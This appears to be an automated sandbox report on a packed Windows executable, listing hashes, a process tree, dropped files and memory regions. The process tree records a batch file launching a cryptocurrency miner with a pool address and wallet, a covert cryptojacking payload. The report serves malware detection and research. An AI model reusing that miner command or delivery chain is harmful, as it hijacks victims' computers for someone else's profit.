73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 16:38

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2108	b2e.exe
4420	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe
4420	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4020-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 2108	4020	batexe.exe	75
PID 4020 wrote to memory of 2108	4020	batexe.exe	75
PID 4020 wrote to memory of 2108	4020	batexe.exe	75
PID 2108 wrote to memory of 4324	2108	b2e.exe	76
PID 2108 wrote to memory of 4324	2108	b2e.exe	76
PID 2108 wrote to memory of 4324	2108	b2e.exe	76
PID 4324 wrote to memory of 4420	4324	cmd.exe	79
PID 4324 wrote to memory of 4420	4324	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Users\Admin\AppData\Local\Temp\956A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\956A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\956A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9710.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\956A.tmp\b2e.exe

Filesize
4.8MB

MD5
ea53a0df5158f64710f22d5508aadd9f

SHA1
df5978863427e0fabf0c4693a2dfcd209b1d1d75

SHA256
09cd14df4c755783132df3df7334820e8108a675d680d8fdd2cccd3fddab9440

SHA512
c75d009adbab008d1106ca80eb0daa0c0d79bf677933b8810c7f130955775f85d4c8a0f62b318392d1467766c163b03d7a7590ebb2c38380822bdd49b4aeda17

Download Submit
C:\Users\Admin\AppData\Local\Temp\956A.tmp\b2e.exe

Filesize
4.8MB

MD5
f63369d6c967c1c06be2e91378a3c954

SHA1
6dc922c01a4f2228dfb562c145f83f87f75c7e84

SHA256
0bf1af567b50b648d32c915cbc4d350d55a341bcf4087836c5ab8964f0871b73

SHA512
d01f99ca40bc1468ae54128286265f976e1225e273e7b07a55cbec0bc315c812dc90192ff22da103da5a586ce47e6f19695bc00b6cb1c602e9ad7a1731b9d06d

Download Submit
C:\Users\Admin\AppData\Local\Temp\9710.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
e85cf8ed8c3730588ffde809b79300b4

SHA1
fd6688991e375a5b403c793d91d4ed66dc16c334

SHA256
725efd342dbe41d2a048df9b560ac1564bd27a82c8996aec1ac129fac064b63c

SHA512
fb60ea39b1a752d5876a30f0d8e9dd00fc02a0742467096b20bc3c7937d1c445daaab6b00d0ea3851e88c0570607233dd710e7bb3c030e429f87e6126e22db4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
b11453c5362a6981407a806898273891

SHA1
ed0f259193f4d6b8a12f6b670a63cc8436b6d1e6

SHA256
ce15195d521cca7a44c90c08e428402e0f1e3ccd30be2608d034aee9906a578b

SHA512
55f8205d894fed5ab7c277bb4d63e132670fab11e987d70a4c2fbab8ed254d79071134fe3404b4dd6ca25d7defb6c9165cc86944d66e2504f0fa290a9bd12ce8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
d7cbc4105c501b7be1d3abf78f5f30e2

SHA1
1a6b2488470c1029fe35d82c0d59305c7c421272

SHA256
8f941a2b952bc5aad0d4207c9d07d784e23e873d60891811bc2bb92ec0ebbbb4

SHA512
1823302ad4723145d1354e5b69c73a6f4ad621a10f8df4377326ec0934f80ba11b6ed33220cce2ca193fd9b95b8081cf8d4a6ec8ecff122925ee2327e2a3cd47

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
bdacfc671625df38e0657946dc50161f

SHA1
4a037c9783197bfcae933ac0b0d028f50903e111

SHA256
244888753c6afa99324286ed7cfdb987f1a7d90e5b3280d9287281d8fb6b5568

SHA512
903ccad1b62340e39ea7ab5c883fa9c79f01938f72a02a6cc842b3b396373dd6fed855cc8f02c4906ae0f4deb9cd3443303a7bd2fd0670d75b42ed46ada64f32

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
dd32e4ddaa1a4b23ada192bfdf1ee820

SHA1
fc48e007fb1ae9b12adc78e505bb109e8698501f

SHA256
d23516677a49a5ff0b9403d97025c50772f96fe64529a463189bb58c898c4bc8

SHA512
9188d00c2a0f883810d32a1c0590253e15490664eabf36ceeb7c1b4483a54d5abec730259e35cc0dc86c8502a5d5d7dd5aa43544681ad92d78eae8c2d83f0502

Download Submit
memory/2108-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2108-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4020-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4420-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4420-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4420-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/4420-42-0x0000000074ED0000-0x0000000074F68000-memory.dmp

Filesize
608KB

Download
memory/4420-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4420-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download